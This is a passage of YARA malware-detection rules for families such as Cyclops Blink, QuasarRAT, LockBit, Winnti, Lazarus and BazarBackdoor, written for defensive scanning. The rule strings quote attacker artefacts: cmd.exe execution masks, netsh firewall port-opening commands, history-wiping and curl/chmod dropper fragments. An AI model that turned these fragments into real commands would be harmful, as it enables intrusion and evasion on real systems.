		description = "Detects the code bytes used to check module ID 0xf control flags and a format string used for file content upload"
		author = "NCSC"
		id = "36646b7a-389d-5fd9-88a1-e43e7224763a"
		date = "2022-02-23"
		modified = "2023-12-05"
		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sandworm_cyclops_blink.yar#L128-L150"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6e3eebe404c8cd24e1e16eb3c881b1eda78ba6b365bf89c2557329e6f89396ac"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
	strings:
		$ = {54 00 06 3E 54 00 07 FE 54 00 06 3E 2F 80 00 00}
		$ = {54 00 06 3E 54 00 07 BC 2F 80 00 00}
		$ = {54 00 06 3E 54 00 07 7A 2F 80 00 00}
		$ = {54 00 06 3E 54 00 06 F6 2F 80 00 00}
		$ = "file:%s\n" fullword
	condition:
		( uint32( 0 ) == 0x464c457f ) and ( all of them )
}

rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Default_Config_Values : FILE
{
	meta:
		description = "Detects the code bytes used to set default Cyclops Blink configuration values"
		author = "NCSC"
		id = "04067609-1173-51f2-907f-2a236aae6c7c"
		date = "2022-02-23"
		modified = "2023-12-05"
		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sandworm_cyclops_blink.yar#L152-L174"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "180993057c110c0c0327b673c6d6e251534012de51cf6475838691e0942a1aa8"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
	strings:
		$ = {38 00 00 19 90 09 01 A4}
		$ = {3C 00 00 01 60 00 80 00 90 09 01 A8}
		$ = {38 00 40 00 90 09 01 AC}
		$ = {38 00 01 0B 90 09 01 B0}
		$ = {38 00 27 11 90 09 01 C0}
	condition:
		( uint32( 0 ) == 0x464c457f ) and ( 3 of them )
}

rule SIGNATURE_BASE_MAL_Quasarrat_May19_1 : FILE
{
	meta:
		description = "Detects QuasarRAT malware"
		author = "Florian Roth (Nextron Systems)"
		id = "a4e82b6a-31f8-59fc-acfa-805c4594680a"
		date = "2019-05-27"
		modified = "2023-01-06"
		reference = "https://blog.ensilo.com/uncovering-new-activity-by-apt10"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_quasar_rat.yar#L61-L89"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a189bce433c71d45fd7f5d7fc284fc5b35c88a7ec616dd392d0e931165263aca"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded"
	strings:
		$x1 = "Quasar.Common.Messages" ascii fullword
		$x2 = "Client.MimikatzTools" ascii fullword
		$x3 = "Resources.powerkatz_x86.dll" ascii fullword
		$x4 = "Uninstalling... good bye :-(" wide
		$xc1 = { 41 00 64 00 6D 00 69 00 6E 00 00 11 73 00 63 00
               68 00 74 00 61 00 73 00 6B 00 73 00 00 1B 2F 00
               63 00 72 00 65 00 61 00 74 00 65 00 20 00 2F 00
               74 00 6E 00 20 00 22 00 00 27 22 00 20 00 2F 00
               73 }
		$xc2 = { 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20
               00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C
               00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E
               00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20
               00 2F 00 61 00 20 00 2F 00 71 00 20 00 2F 00 66
               00 20 00 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10000KB and 1 of them
}

rule SIGNATURE_BASE_SUSP_EXPL_LIBCUE_CVE_2023_43641_Oct23_1 : CVE_2023_43641 FILE
{
	meta:
		description = "Detects a suspicious .cue file that could be an exploitation attempt of libcue vulnerability CVE-2023-43641"
		author = "Florian Roth"
		id = "34fcf80c-adcd-55c0-9fb4-261d20f61fa6"
		date = "2023-10-27"
		modified = "2023-12-05"
		reference = "https://github.com/github/securitylab/blob/main/SecurityExploits/libcue/track_set_index_CVE-2023-43641/README.md"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_libcue_cve_2023_43641.yar#L2-L17"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a2cd3c1b0b3551ffb24bf7704c37c1be6c1a9655c74447d2f7f94540dd0ab188"
		score = 70
		quality = 85
		tags = "CVE-2023-43641, FILE"
	strings:
		$a1 = "TRACK "
		$a2 = "FILE "
		$s1 = "INDEX 4294"
	condition:
		filesize < 100KB and all of them
}

rule SIGNATURE_BASE_EXT_EXPL_ZTH_LNK_EXPLOIT_A : FILE
{
	meta:
		description = "This YARA file detects padded LNK files designed to exploit ZDI-CAN-25373."
		author = "Peter Girnus"
		id = "14788504-64e3-533b-ad21-00a3462a33cc"
		date = "2025-03-18"
		modified = "2025-03-29"
		reference = "https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_lnk_zdi_can_25373.yar#L1-L23"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b2c6a7f0abd62d3eef916352f984d1fcc721cfba4f5de9d159de8fd428c02b31"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$spoof_a = {20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00}
		$spoof_b = {09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00 09 00}
		$spoof_c = {0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00 0A 00}
		$spoof_d = {0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00 0D 00}
		$spoof_e = {11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00 11 00}
		$spoof_f = {12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00 12 00}
		$spoof_g = {13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00 13 00}
		$spoof_h = {0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00 0D 00 0A 00}
	condition:
		uint32( 0 ) == 0x4C and uint32( 4 ) == 0x21401 and any of ( $spoof_* )
}


rule SIGNATURE_BASE_SUSP_Officedoc_VBA_Base64Decode : FILE
{
	meta:
		description = "Detects suspicious VBA code with Base64 decode functions"
		author = "Florian Roth (Nextron Systems)"
		id = "99690116-fc89-53d7-8f29-575d75d53fc9"
		date = "2019-06-21"
		modified = "2023-12-05"
		reference = "https://github.com/cpaton/Scripting/blob/master/VBA/Base64.bas"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_susp_office_dropper.yar#L65-L80"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1fb094c9991f93e9d1003832dc11a58efa8281e9fe844e61e27dfd077f55ad39"
		score = 70
		quality = 85
		tags = "FILE"
		hash1 = "52262bb315fa55b7441a04966e176b0e26b7071376797e35c80aa60696b6d6fc"
	strings:
		$s1 = "B64_CHAR_DICT" ascii
		$s2 = "Base64Decode" ascii
		$s3 = "Base64Encode" ascii
	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 60KB and 2 of them
}

rule SIGNATURE_BASE_SUSP_Macro_Sheet_Obfuscated_Char : FILE
{
	meta:
		description = "Finding hidden/very-hidden macros with many CHAR functions"
		author = "DissectMalware"
		id = "791e9bba-3e4e-5efd-a800-a612c6f92cfb"
		date = "2020-04-07"
		modified = "2023-12-05"
		reference = "https://twitter.com/DissectMalware/status/1247595433305800706"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_susp_office_dropper.yar#L122-L139"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0953d1f916df570cb3d053bf4fdac196bdbd806df4b6c0a982ed9949a3676e6c"
		score = 65
		quality = 85
		tags = "FILE"
		hash1 = "0e9ec7a974b87f4c16c842e648dd212f80349eecb4e636087770bc1748206c3b"
	strings:
		$ole_marker = {D0 CF 11 E0 A1 B1 1A E1}
		$s1 = "Excel" fullword ascii
		$macro_sheet_h1 = {85 00 ?? ?? ?? ?? ?? ?? 01 01}
		$macro_sheet_h2 = {85 00 ?? ?? ?? ?? ?? ?? 02 01}
		$char_func = {06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 1E 3D  00 41 6F 00}
	condition:
		$ole_marker at 0 and 1 of ( $macro_sheet_h* ) and #char_func > 10 and $s1
}

rule SIGNATURE_BASE_VULN_PUA_GIGABYTE_Driver_Jul22_1 : FILE
{
	meta:
		description = "Detects a vulnerable GIGABYTE driver sometimes used by malicious actors to escalate privileges"
		author = "Florian Roth (Nextron Systems)"
		id = "c66b858f-a034-53e1-b0fd-e48693fc6913"
		date = "2022-07-25"
		modified = "2023-12-05"
		reference = "https://twitter.com/malmoeb/status/1551449425842786306"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/vuln_gigabyte_driver.yar#L2-L28"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8aeae559b52b8e01ceab8caba24653b949b3bec694a14b36c819b0a7c9f8b7c6"
		score = 65
		quality = 85
		tags = "FILE"
		hash1 = "31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427"
	strings:
		$xc1 = { 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73
               00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 32
               00 2E 00 33 00 37 00 39 00 30 00 2E 00 31 00 38
               00 33 00 30 00 20 00 62 00 75 00 69 00 6C 00 74
               00 20 00 62 00 79 00 3A 00 20 00 57 00 69 00 6E
               00 44 00 44 00 4B 00 00 00 00 00 32 00 09 00 01
               00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C
               00 4E 00 61 00 6D 00 65 00 00 00 67 00 64 00 72
               00 76 00 2E 00 73 00 79 00 73 }
		$x1 = "AEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAANQAuADIALgAzADcAOQAwAC4AMQA4ADMAMAAgAGIAdQBpAGwAdAAgAGIAeQA6ACAAVwBpAG4ARABEAEsAAAAAADIACQABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAZwBkAHIAdgAuAHMAeQBz"
		$x2 = "BGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADUALgAyAC4AMwA3ADkAMAAuADEAOAAzADAAIABiAHUAaQBsAHQAIABiAHkAOgAgAFcAaQBuAEQARABLAAAAAAAyAAkAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAGcAZAByAHYALgBzAHkAc"
		$x3 = "ARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAA1AC4AMgAuADMANwA5ADAALgAxADgAMwAwACAAYgB1AGkAbAB0ACAAYgB5ADoAIABXAGkAbgBEAEQASwAAAAAAMgAJAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABnAGQAcgB2AC4AcwB5AH"
	condition:
		filesize < 4000KB and 1 of them
}

rule SIGNATURE_BASE_Mal_Lockbit4_Rc4_Win_Feb24 : FILE
{
	meta:
		description = "Detect the implementation of RC4 Algorithm by Lockbit4.0"
		author = "0x0d4y"
		id = "4de48ced-b9fa-4286-aac4-c263ad20d67d"
		date = "2024-02-13"
		modified = "2025-03-20"
		reference = "https://0x0d4y.blog/lockbit4-0-evasion-tales/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_lockbit4_rc4_win_feb24.yar#L1-L21"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "062311f136d83f64497fd81297360cd4"
		logic_hash = "85e8087f875c45ce39b7014fc0737dc86f1e18d4643fdbb0a80d18feff774680"
		score = 100
		quality = 85
		tags = "FILE"
		license = "CC BY 4.0"
		rule_matching_tlp = "TLP:WHITE"
		rule_sharing_tlp = "TLP:WHITE"
		malpedia_family = "win.lockbit"
	strings:
		$rc4_alg = { 48 3d 00 01 00 00 74 0c 88 84 04 ?? ?? ?? ?? 48 ff c0 eb ec 29 c9 41 b8 ?? ?? ?? ?? 4c 8d 0d 15 7b 00 00 45 31 d2 48 81 f9 00 01 00 00 74 34 44 8a 9c 0c ?? ?? ?? ?? 45 00 da 89 c8 99 41 f7 f8 46 02 14 0a 41 0f b6 c2 8a 94 04 ?? ?? ?? ?? 88 94 0c ?? ?? ?? ?? 44 88 9c 04 ?? ?? ?? ?? 48 ff c1 eb c3 29 c0 48 8b 0d 14 9e 00 00 31 d2 45 29 c0 48 3d ?? ?? ?? ?? 74 4b 41 ff c0 45 0f b6 c0 46 8a 8c 04 ?? ?? ?? ?? 44 00 ca 44 0f b6 d2 46 8a 9c 14 ?? ?? ?? ?? 46 88 9c 04 ?? ?? ?? ?? 46 88 8c 14 ?? ?? ?? ?? 46 02 8c 04 ?? ?? ?? ?? 45 0f b6 c9 46 8a 8c 0c ?? ?? ?? ?? 44 30 0c 01 48 ff c0 eb ad }
	condition:
		uint16( 0 ) == 0x5a4d and $rc4_alg
}


rule SIGNATURE_BASE_MAL_UNC2891_Slapstick : FILE
{
	meta:
		description = "Detects UNC2891 Slapstick pam backdoor"
		author = "Frank Boldewin (@r3c0nst), slightly modifier by Florian Roth"
		id = "eb5db507-ac12-5c11-9dd9-ec34b9a80e1c"
		date = "2022-03-30"
		modified = "2023-01-05"
		reference = "https://github.com/fboldewin/YARA-rules/tree/master"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_unc2891_mal_jan23.yar#L19-L39"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4bc51a47a1b620c3bb950c287c38a37e528e79f9720fb4d9fa9ebecbeca82036"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "9d0165e0484c31bd4ea467650b2ae2f359f67ae1016af49326bb374cead5f789"
	strings:
		$code1 = {F6 50 04 48 FF C0 48 39 D0 75 F5}
		$code2 = {88 01 48 FF C1 8A 11 89 C8 29 F8 84 D2 0F 85}
		$str1 = "/proc/self/exe" fullword ascii
		$str2 = "%-23s %-23s %-23s %-23s %-23s %s" fullword ascii
		$str3 = "pam_sm_authenticate" ascii
		$str_fr1 = "HISTFILE=/dev/null"
	condition:
		uint32( 0 ) == 0x464c457f and filesize < 100KB and ( all of ( $code* ) or all of ( $str* ) )
}

rule SIGNATURE_BASE_WEBSHELL_ASPX_Mar21_1 : FILE
{
	meta:
		description = "Detects ASPX Web Shells"
		author = "Florian Roth (Nextron Systems)"
		id = "52884135-6b86-5e3e-a866-36a812d5a9af"
		date = "2021-03-12"
		modified = "2025-11-03"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/thor-webshells.yar#L9930-L9956"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0c20163871bf424c0b594c4b75d35e782df03761552f792474761c603ddb8478"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "10b6e82125a2ddf3cc31a238e0d0c71a64f902e0d77171766713affede03174d"
		hash2 = "170bee832df176aac0a3c6c7d5aa3fee413b4572030a24c994a97e70f6648ffc"
		hash3 = "31c4d1fc81c052e269866deff324dffb215e7d481a47a2b6357a572a3e685d90"
		hash4 = "41b5c26ac194439612b68e9ec6a638eceaf00842c347ffa551eb009ef6c015a3"
		hash5 = "4b645bc773acde2b3cc204e77ac27c3f6991046c3b75f42d12bc90ec29cff9e3"
		hash6 = "602bb701b78895d4de32f5e78f3c511e5298ba244b29641b11a7c1c483789859"
		hash7 = "7ac47a17c511e25c06a53a1c7a5fbbf05f41f047a4a40b71afa81ce7b59f4b03"
		hash8 = "9a5097d0e8dc29a2814adac070c80fd4b149b33e56aaaf9235af9e87b0501d91"
		hash9 = "9efb5932c0753e45504fc9e8444209b92c2bdf22e63b1c1a44e2d52cb62b4548"
		hash10 = "d40b16307d6434c3281374c0e1bbc0f6db388883e7f6266c3c81de0694266882"
	strings:
		$s1 = ".StartInfo.FileName = 'cmd.exe';" ascii
		$s2 = "<xsl:template match=\"\"/root\"\">" ascii fullword
		$s3 = "<?xml version=\"\"1.0\"\"?><root>test</root>\";" ascii fullword
	condition:
		uint16( 0 ) == 0x253c and filesize < 6KB and all of them
}

rule SIGNATURE_BASE_APT_NK_Lazarus_RC4_Loop : FILE
{
	meta:
		description = "Detects RC4 loop in Lazarus Group implant"
		author = "f-secure "
		id = "a9503795-b4b8-505e-a1bf-df64ec8c1c32"
		date = "2020-06-10"
		modified = "2023-12-05"
		reference = "https://labs.f-secure.com/publications/ti-report-lazarus-group-cryptocurrency-vertical"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_lazarus_aug20.yar#L2-L15"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b0e96bfff924a0c9b39e1ab03097ae0790743417d9da70917d64bc238905971e"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$str_rc4_loop = { 41 FE 8? 00 01 00 00 45 0F B6 ?? 00 01 00 00 48 
                        FF C? 43 0F B6 0? ?? 41 00 8? 01 01 00 00 41 0F 
                        B6 ?? 01 01 00 00 }
	condition:
		int16 ( 0 ) == 0x5a4d and filesize < 3000KB and $str_rc4_loop
}

rule SIGNATURE_BASE_APT_NK_Lazarus_Network_Backdoor_Unpacked : FILE
{
	meta:
		description = "Detects unpacked variant of Lazarus Group network backdoor"
		author = "f-secure"
		id = "8eda9e74-1a19-5510-82d8-cd2eb324629c"
		date = "2020-06-10"
		modified = "2023-12-05"
		reference = "https://labs.f-secure.com/publications/ti-report-lazarus-group-cryptocurrency-vertical"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_lazarus_aug20.yar#L17-L41"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "bfc3cf400eeea332e2e44b65f9728e94af0adde76b32ed4be527b25484f80745"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$str_netsh_1 = "netsh firewall add portopening TCP %d" ascii wide nocase
		$str_netsh_2 = "netsh firewall delete portopening TCP %d" ascii wide nocase
		$str_mask_1 = "cmd.exe /c \"%s >> %s 2>&1\"" ascii wide
		$str_mask_2 = "cmd.exe /c \"%s 2>> %s\"" ascii wide
		$str_mask_3 = "%s\\%s\\%s" ascii wide
		$str_other_1 = "perflog.dat" ascii wide nocase
		$str_other_2 = "perflog.evt" ascii wide nocase
		$str_other_3 = "cbstc.log" ascii wide nocase
		$str_other_4 = "LdrGetProcedureAddress" ascii
		$str_other_5 = "NtProtectVirtualMemory" ascii
	condition:
		int16 ( 0 ) == 0x5a4d and filesize < 3000KB and 1 of ( $str_netsh* ) and 1 of ( $str_mask* ) and 1 of ( $str_other* )
}

rule SIGNATURE_BASE_Crime_Win64_Backdoor_Bazarbackdoor1 : FILE
{
	meta:
		description = "Detects BazarBackdoor injected 64-bit malware"
		author = "@VK_Intel"
		id = "1e387791-97fa-527d-87ed-68872b1891c4"
		date = "2020-04-24"
		modified = "2023-12-05"
		reference = "https://twitter.com/pancak3lullz/status/1252303608747565057"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_bazarbackdoor.yar#L1-L18"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "becb6ebc3a1be061b4f602cc188b172f59bfb6342605af68d8b38009d589f57e"
		score = 75
		quality = 85
		tags = "FILE"
		tlp = "white"
	strings:
		$str1 = "%id%"
		$start = { 48 ?? ?? ?? ?? 57 48 83 ec 30 b9 01 00 00 00 e8 ?? ?? ?? ?? 84 c0 0f ?? ?? ?? ?? ?? 40 32 ff 40 ?? ?? ?? ?? e8 ?? ?? ?? ?? 8a d8 8b ?? ?? ?? ?? ?? 83 f9 01 0f ?? ?? ?? ?? ?? 85 c9 75 ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 74 ?? b8 ff 00 00 00 e9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? eb ?? 40 b7 01 40 ?? ?? ?? ?? 8a cb e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 48 8b d8 48 ?? ?? ?? 74 ??}
		$server = {40 53 48 83 ec 20 48 8b d9 e8 ?? ?? ?? ?? 85 c0 75 ?? 0f ?? ?? ?? ?? ?? ?? 66 83 f8 50 74 ?? b9 bb 01 00 00 66 3b c1 74 ?? a8 01 74 ?? 48 8b cb e8 ?? ?? ?? ?? 84 c0 75 ?? 48 8b cb e8 ?? ?? ?? ?? b8 f6 ff ff ff eb ?? 33 c0 48 83 c4 20 5b c3}
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule SIGNATURE_BASE_SUSP_LNX_Linux_Malware_Indicators_Aug20_1 : FILE
{
	meta:
		description = "Detects indicators often found in linux malware samples. Note: This detection is based on common characteristics typically associated with the mentioned threats, must be considered a clue and does not conclusively prove maliciousness."
		author = "Florian Roth (Nextron Systems)"
		id = "9a1093a6-0239-5d1c-aa30-1ca725941583"
		date = "2020-08-03"
		modified = "2026-01-04"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_lnx_malware_indicators.yar#L1-L25"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1d07d424f2a66b60e55d21dff6d4c4f9f2591c3ab622dcfbc1cd989d28b44017"
		score = 65
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "&& chmod +x" ascii
		$s2 = "|base64 -" ascii
		$s3 = " /tmp" ascii
		$s4 = "|curl " ascii
		$s5 = "whoami" ascii fullword
		$fp1 = "WITHOUT ANY WARRANTY" ascii
		$fp2 = "postinst" ascii fullword
		$fp3 = "THIS SOFTWARE IS PROVIDED" ascii fullword
		$fp4 = "Free Software Foundation" ascii fullword
		$fp5 = "Too many sessions open! Use ssh_channel.close() or 'with'!"
	condition:
		filesize < 400KB and 3 of ( $s* ) and not 1 of ( $fp* )
}

rule SIGNATURE_BASE_APT_Winnti_MAL_Dec19_1 : FILE
{
	meta:
		description = "Detects Winnti malware"
		author = "Unknown"
		id = "322e9362-bfb6-55e3-9a93-d54246311d11"
		date = "2019-12-06"
		modified = "2025-06-03"
		reference = "https://www.verfassungsschutz.de/download/broschuere-2019-12-bfv-cyber-brief-2019-01.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_winnti.yar#L160-L181"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2ffeb40b096e5112adbb9c07b27b954424d6ef11a0a9bd736b43df9aa1e9af3e"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$e1 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411015}" ascii nocase
		$e2 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411014}" ascii nocase
		$e3 = "Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411016}" ascii nocase
		$e4 = "\\BaseNamedObjects\\{B2B87CCA-66BC-4C24-89B2-C23C9EAC2A66}" wide
		$e5 = "BFE_Notify_Event_{7D00FA3C-FBDC-4A8D-AEEB-3F55A4890D2A}" nocase
		$fp1 = "also increase possible memory usage of THOR."
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and 1 of ( $e* ) and not 1 of ( $fp* )
}

rule SIGNATURE_BASE_Winnti_Dropper_X64_Libtomcrypt_Fns : TAU CN APT
{
	meta:
		description = "Designed to catch winnti 4.0 loader and hack tool x64"
		author = "CarbonBlack Threat Research"
		id = "080d837c-248f-5718-b4a2-290495cd3b38"
		date = "2019-08-26"
		modified = "2025-08-11"
		reference = "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-winnti-malware-4-0/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_winnti.yar#L285-L332"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "39d23f2a12a3b78182e52847e2fdb2d09386765138c37eb7f75edfc680505531"
		score = 75
		quality = 83
		tags = "TAU, CN, APT"
		rule_version = 1
		yara_version = "3.8.1"
		Confidence = "Prod"
		Priority = "High"
		TLP = "White"
		exemplar_hashes = "5ebf39d614c22e750bb8dbfa3bcb600756dd3b36929755db9b577d2b653cd2d1"
		sample_md5 = "794E127D627B3AF9015396810A35AF1C"
	strings:
		$0x140001820 = { 48 83 EC 28 83 3D ?? ?? ?? ?? 00 }
		$0x140001831 = { 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 FF }
		$0x140001842 = { B8 0B 00 E0 0C 48 83 C4 28 C3 }
